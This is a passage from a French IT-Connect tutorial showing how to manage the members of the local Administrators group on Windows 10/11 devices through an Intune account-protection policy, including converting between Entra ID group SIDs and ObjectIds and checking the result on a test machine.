<figure class="wp-block-image size-full"><img decoding="async" width="800" height="350" src="media/cb899ade.Intune-Gerer-groupe-administrateurs-local-Etape-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-2.png" alt="" class="wp-image-74661" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-2-550x241.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-2-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-2-768x336.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-2-50x22.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Commencez par ajouter un nom et une description à cette stratégie. Dans cet exemple, la stratégie est nommée "<strong>Ajouter le groupe Admins_PC en administrateur local</strong>". Passez à l'étape suivante.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="400" src="media/4e7e1f12.Intune-Gerer-groupe-administrateurs-local-Etape-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-3.png" alt="" class="wp-image-74662" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-3.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-3-550x275.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-3-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-3-768x384.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-3-50x25.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>L'étape "<strong>Paramètres de configuration</strong>" va nous permettre de gérer les membres du groupe Administrateurs, mais pas seulement ! En effet, nous pouvons voir qu'<strong>Intune offre la possibilité de gérer également d'autres groupes prédéfinis</strong> : Utilisateurs, Invités, Utilisateurs du Bureau à distance, etc...</p>



<p>Nous allons simplement sélectionner "<strong>Administrateurs</strong>" pour répondre à notre besoin.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="545" src="media/34d48884.Intune-Gerer-groupe-administrateurs-local-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-4.png" alt="" class="wp-image-74663" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-4.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-4-550x375.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-4-150x102.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-4-768x523.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-4-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-4-130x90.png 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, nous devons configurer d'autres paramètres :</p>



<ul>
<li><strong>Action du groupe et de l'utilisateur :</strong> quelle stratégie adopter pour gérer le compte administrateur, notamment vis-à-vis des objets déjà membres de ce groupe. Trois choix sont proposés :
<ul>
<li><strong>Ajouter (mettre à jour) </strong>: ajouter de nouveaux membres, tout en conservant la liste actuelle des membres (donc on conserve l'existant)</li>



<li><strong>Supprimer (mettre à jour)</strong> : supprimer les membres spécifiés, tout en conservant les autres membres (utile pour faire du tri)</li>



<li><strong>Ajouter (remplacer)</strong> : supprimer les membres actuels et ajouter ceux définis dans cette stratégie</li>
</ul>
</li>



<li><strong>Type de sélection de l'utilisateur : </strong>
<ul>
<li><strong>Utilisateurs/groupes</strong> : sélectionner des utilisateurs et/ou groupes à partir d'Entra ID</li>



<li><strong>Manuel </strong>: ajouter des utilisateurs en spécifiant le nom (avec éventuellement le domaine Active Directory en préfixe) ou le SID</li>
</ul>
</li>



<li><strong>Utilisateurs/groupes sélectionnés :</strong> choisir les objets à ajouter en tant que membre du groupe Administrateurs</li>
</ul>



<p>Nous allons choisir "<strong>Ajouter (remplacer)</strong>" pour ajouter le groupe "<strong>Admins_PC</strong>" en tant que nouveau membre du groupe "<strong>Administrateurs</strong>", tout en supprimant l'existant.</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/mem/intune/protect/endpoint-security-account-protection-policy#configure-the-profile?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Manage local groups on Windows devices</a></li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="410" src="media/2f01fab4.Intune-Groupe-Administrateurs-local-Ajouter-remplacer.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Groupe-Administrateurs-local-Ajouter-remplacer.png" alt="" class="wp-image-79379" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Groupe-Administrateurs-local-Ajouter-remplacer.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Groupe-Administrateurs-local-Ajouter-remplacer-550x282.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Groupe-Administrateurs-local-Ajouter-remplacer-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Groupe-Administrateurs-local-Ajouter-remplacer-768x394.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Groupe-Administrateurs-local-Ajouter-remplacer-50x26.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, nous devons choisir "<strong>Manuel</strong>" comme "<strong>Type de sélection de l'utilisateur</strong>" afin de pouvoir spécifier à la fois le groupe "<strong>Admins_PC</strong>" d'Entra par l'intermédiaire de son SID et <strong>les utilisateurs locaux</strong>. </p>



<p>Pour récupérer le SID du groupe "<strong>Admins_PC</strong>", vous pouvez utiliser <a href="https://erikengberg.com/azure-ad-object-id-to-sid/" target="_blank" rel="noopener nofollow" title="">cet outil en ligne</a> ou <a href="https://github.com/okieselbach/Intune/blob/master/Convert-AzureAdSidToObjectId.ps1" target="_blank" rel="noopener nofollow" title="">ce script PowerShell</a> afin de <strong>convertir l'ObjectID en SID</strong>. À partir du portail Entra, récupérez la valeur de "<strong>ID d'objet</strong>" et collez cette valeur sur la page de l'outil afin d'obtenir le SID. Vu que nous sommes en mode manuel, nous sommes contraint d'utiliser cette méthode.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Note : si vous désirez faire un ajout d'un groupe sans écraser l'existant, vous pouvez rester sur "<strong>Utilisateurs/groupes</strong>" et cliquer sur "<strong>Sélectionner des utilisateurs/groupes</strong>" pour sélectionner directement le groupe dans Entra ID.</p>
</blockquote>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="445" src="media/fbd5c0af.ateur-local-et-groupe-Entra-en-Administrateurs-local-800x445.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Ajouter-utilisateur-local-et-groupe-Entra-en-Administrateurs-local-800x445.png" alt="" class="wp-image-79380" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Ajouter-utilisateur-local-et-groupe-Entra-en-Administrateurs-local-800x445.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Ajouter-utilisateur-local-et-groupe-Entra-en-Administrateurs-local-550x306.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Ajouter-utilisateur-local-et-groupe-Entra-en-Administrateurs-local-150x83.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Ajouter-utilisateur-local-et-groupe-Entra-en-Administrateurs-local-768x427.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Ajouter-utilisateur-local-et-groupe-Entra-en-Administrateurs-local-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Ajouter-utilisateur-local-et-groupe-Entra-en-Administrateurs-local.png 940w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Voici la configuration obtenue.</strong> Attention, n'ajoutez pas plusieurs instructions "<strong>Ajouter (remplacer)</strong>" pour le même groupe local, <strong>sinon la seconde règle écrasera la première règle</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="250" src="media/783ddbf1.Intune-Protection-de-compte-Groupe-Administrateurs-Windows.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Protection-de-compte-Groupe-Administrateurs-Windows.png" alt="" class="wp-image-79381" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Protection-de-compte-Groupe-Administrateurs-Windows.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Protection-de-compte-Groupe-Administrateurs-Windows-550x172.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Protection-de-compte-Groupe-Administrateurs-Windows-150x47.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Protection-de-compte-Groupe-Administrateurs-Windows-768x240.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Protection-de-compte-Groupe-Administrateurs-Windows-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous pouvons continuer... Jusqu'à l'étape n°4.</p>



<p>Vous devez choisir à quels appareils affecter cette stratégie, en fonction de vos besoins. Sélectionnez un ou plusieurs groupes d'appareils, ou utilisez l'option "<strong>Ajouter tous les appareils</strong>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="392" src="media/6d156ac6.Intune-Gerer-groupe-administrateurs-local-Etape-7-800x392.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-7-800x392.png" alt="" class="wp-image-74666" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-7-800x392.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-7-550x270.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-7-150x74.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-7-768x376.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-7-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-7.png 1000w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Poursuivez jusqu'à la fin dans le but de créer la stratégie. <strong>La stratégie est prête !</strong></p>



<h2 class="wp-block-heading">VII. Tester la stratégie Intune</h2>



<p>La prochaine étape consiste à tester cette stratégie Intune sur un appareil. Voici l'état actuel de la machine Windows 11 utilisée pour faire le test, c'est-à-dire avant application de notre nouvelle stratégie de protection de compte.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="535" src="media/bb7db829.Intune-Manage-administrateurs-local-Avant-strategie.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Avant-strategie.png" alt="" class="wp-image-79382" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Avant-strategie.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Avant-strategie-550x368.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Avant-strategie-150x100.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Avant-strategie-768x514.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Avant-strategie-50x33.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Après avoir synchronisé l'appareil, nous pouvons voir qu'il a bien récupéré une stratégie "<strong>LocalUsersAndGroups</strong>", ce qui est plutôt bon signe.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="357" src="media/adc134f4.Intune-Windows-11-zone-LocalUsersAndGroups.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Windows-11-zone-LocalUsersAndGroups.jpg" alt="" class="wp-image-74667" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Windows-11-zone-LocalUsersAndGroups.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Windows-11-zone-LocalUsersAndGroups-550x245.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Windows-11-zone-LocalUsersAndGroups-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Windows-11-zone-LocalUsersAndGroups-768x343.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Windows-11-zone-LocalUsersAndGroups-50x22.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour vérifier la liste des membres du groupe "<strong>Administrateurs</strong>", il suffit d'accéder à la console "<strong>Gestion de l'ordinateur</strong>" (comme dans l'exemple ci-dessous).</p>



<p>Ici, nous remarquons plusieurs valeurs, notamment deux comptes locaux : "<em>adm_itconnect</em>" et "<em>Administrateurs</em>". En plus, nous avons un SID qui est présent et la traduction avec le nom n'est pas effectuée. Toutefois, il faut savoir que <strong>tout SID que vous voyez dans le groupe "Administrateurs" commençant par&nbsp;"<em>S-1-12-1</em>" correspond à un groupe Entra ID (Azure AD)</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="530" src="media/25cd42e4.ntune-Manage-administrateurs-local-Apres-strategie-appliquee.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Apres-strategie-appliquee.png" alt="" class="wp-image-79385" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Apres-strategie-appliquee.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Apres-strategie-appliquee-550x364.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Apres-strategie-appliquee-150x99.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Apres-strategie-appliquee-768x509.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Manage-administrateurs-local-Apres-strategie-appliquee-50x33.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour <strong>faire la correspondance entre ce SID et les groupes dans Entra ID</strong>, nous pouvons utiliser <a href="https://github.com/okieselbach/Intune/blob/master/Convert-AzureAdSidToObjectId.ps1" target="_blank" rel="noopener nofollow" title="">ce script PowerShell</a> (ou <a href="https://erikengberg.com/azure-ad-sid-to-object-id/" target="_blank" rel="noopener nofollow" title="">ce site</a>).</p>



<p>Si nous prenons l'exemple du script, il suffit d'indiquer le SID comme valeur de la variable "<strong>$sid</strong>" située à la fin du script. Par exemple :</p>



<pre class="wp-block-code"><code>$sid = "S-1-12-1-1988770664-1177204149-432340104-2926107448"
</code></pre>



<p>Puis, il faut exécuter la fonction PowerShell pour obtenir le "<strong>GUID</strong>" (<em>ObjectId</em>) du groupe :</p>



<pre class="wp-block-code"><code>Guid
----
768a3b68-b5b5-462a-88fc-c41938db68ae</code></pre>



<p>Ainsi, dans le portail Entra, nous pouvons voir que <strong>cet ID correspond bien au groupe "Admins_PC".</strong> Vous pouvez copier-coller l'objectID dans la zone de recherche pour gagner du temps !</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="338" src="media/80b723b9.Gerer-groupe-Administrateurs-local-avec-Intune-800x338.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Gerer-groupe-Administrateurs-local-avec-Intune-800x338.png" alt="Gérer groupe Administrateurs local avec Intune" class="wp-image-74701" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Gerer-groupe-Administrateurs-local-avec-Intune-800x338.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Gerer-groupe-Administrateurs-local-avec-Intune-550x232.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Gerer-groupe-Administrateurs-local-avec-Intune-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Gerer-groupe-Administrateurs-local-avec-Intune-768x324.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Gerer-groupe-Administrateurs-local-avec-Intune-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Gerer-groupe-Administrateurs-local-avec-Intune.png 890w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous pouvons en conclure que la configuration fonctionne ! Tous les utilisateurs membres du groupe "<strong>Admins_PC</strong>" seront administrateurs des appareils.</p>



<h2 class="wp-block-heading">VIII. Conclusion</h2>



<p>Grâce à ce tutoriel, vous pouvez <strong>gérer les membres du groupe "Administrateurs" de vos appareils Windows 10 et Windows 11</strong> à l'aide d'une <strong>stratégie Intune</strong> relativement simple à mettre en place ! Cette stratégie peut être utilisée avec des appareils "<strong>Joined</strong>", mais aussi en<strong> environnement hybride</strong> lorsque les appareils sont inscrits en "<strong>Hybrid Joined</strong>".</p>



<p><strong>Pour aller plus loin, vous pouvez configurer Windows LAPS pour sécuriser le compte Administrateur local :</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/tuto-intune-configuration-windows-laps/" target="_blank" rel="noopener" title="">Configurer Windows LAPS avec Intune</a></li>



<li><a href="https://www.it-connect.fr/tuto-configurer-windows-laps-active-directory/" target="_blank" rel="noopener" title="Windows LAPS avec l’Active Directory : configuration étape par étape">Configurer Windows LAPS par GPO</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/intune-gerer-groupe-administrateurs-local-windows/">Intune – Gérer le groupe « Administrateurs » local des machines Windows</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


